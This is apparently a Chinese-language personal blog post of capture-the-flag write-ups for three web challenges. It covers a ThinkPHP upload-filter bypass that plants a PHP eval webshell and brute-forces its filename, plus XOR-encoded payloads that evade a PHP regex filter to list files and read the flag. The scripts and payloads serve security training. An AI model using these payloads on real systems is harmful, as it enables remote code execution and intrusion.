buu23

[RoarCTF 2019]Simple Upload

开头源码

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

尝试了一下其他后缀名上传,发现无法被解析成功,所以看到这个upload()函数,以及对应的防护机制,猜测可以使用条件竞争绕过,写先一下脚本

thinkphp默认上传路径为:
/home/index/upload
所以有

import requests
url="http://5ff85f06-6397-4b0b-9dc6-362da72c71bb.node4.buuoj.cn/index.php/home/index/upload"
s=requests.session()
files={'file':("1.txt","")}
files1={'file':("1.php","<?php eval($_GET['a']); ?>)")}
r=s.post(url,files=files).text
print(r)
r=s.post(url,files=files1).text
print(r)
r=s.post(url,files=files).text
print(r)

{"url":"\/Public\/Uploads\/2021-07-24\/60fbd50e4d0f4.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2021-07-24\/60fbd50e61127.txt","success":1}

接下来就是去爆破一下这个文件名

60fbd50e61127
60fbd50e4d0f4
import requests
url="http://5ff85f06-6397-4b0b-9dc6-362da72c71bb.node4.buuoj.cn/Public/Uploads/2021-07-24/"
# files={'file':("1.txt","")}
# files1={'file[]':("1.php","<?php eval($_GET['a']); ?>)")}
# r=s.post(url,files=files).text
# print(r)
# r=s.post(url,files=files1).text
# print(r)
# r=s.post(url,files=files).text
# print(r)
str='0123456789abcdef'
for i in str:
for j in str:
for f in str:
for k in str:
for o in str:
url_fina=url+f"60fbd50e{i}{j}{f}{k}{o}.php"
try:
r=requests.get(url,timeout=1)
except:
continue
if r.status_code!=404:
print(url_fina)
break

但是现在buu的防止太多请求太严了–一直跑不出来

[HarekazeCTF2019]Avatar Uploader 1

忘保存了,没了很难受,大概就是照一张256像素一下的图片,然后将图片内容改为这一行因为那两个解析函数的解析方式在这里不同

img

[ISITDTU 2019]EasyPHP

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

正则进行匹配过滤,匹配00到空格()的字符,0到9的数字、"$&.,|[{_defgops以及DEL(7f)字符。如果你提交的字符串出现上述字符,die。第二个if表示我们提交的字符串一共不能出现多于13种不同的字符
使用此网站可以进行正则匹配的调试
https://regex101.com/
所以它允许出现的字符可以如下

!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~

我们后面的eval肯定是要执行函数的,所以我们可以fuzz一下哪些函数没被过滤,从而来看看有没有实现rce的可能,用php写个脚本

<?php
$array=get_defined_functions();
foreach($array['internal'] as $arr){
if(preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i',$arr))continue;
if(strlen(count_chars(strtolower($arr),0x3))>0xd)continue;
var_dump($arr.'<br/>')
}

但是得到的函数却和读取文件啥的没有关系–,所以继续往下看看
其实以前也做过很多这种类似题特征是
1.过滤了很多字符
2.有些运算字符没有被过滤
那么这就意味着我们可以通过运算来取字符,比如说^运算然后去构造我们需要的字符
payloadtest:

(%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff)();//分号和括号是因为这个要放到eval里面执行,是必不可少的语法要求
image-20210725220736235

接下来看看这个配置里面有什么能用的信息不
首先disable_function中的函数有很多都被禁了,然后它可以访问的目录也只限制在/html目录下,那么根据以往的经验,大概是要scandir等函数看一下当前目录下的内容了
img
img
我们构造一下语句然后去找一下字符

print_r(scandir('.'));

还是之前的那个脚本

import urllib.parse
find = ['p','r','i','_','n','t','s','c','a','d','r','.']
for i in range(0,256):
for j in range(0,256):
result=chr(i^j)
if(result in find):
a= i.to_bytes(1,byteorder='little')
b= j.to_bytes(1,byteorder='little')
#print(a,b)
a= urllib.parse.quote(a)
b= urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

但是这样运算出来的字符我们随便选取就会大于十三个了,要绕过这个,我们就要想想看如何缩减?

((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

其实运用一种套娃的思想即可,这些字符里面的字符肯定可以由其他字符再异或构成的,所以我们这里就将所有异或字符先列出,想在上面的代码进行改编一下,直接一步到位
但是我发现似乎不太行。还不如我直接取完再送进去对每个字符重新异或

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

对结果进行整理一下,发现:

((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
img 拿到flag所在文件。最后构造一下,因为flag在最后一个位置,所以可以直接用end进行获取
((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

Author

vague huang

Posted on

2021-07-24

Updated on

2021-07-26

Licensed under

Comments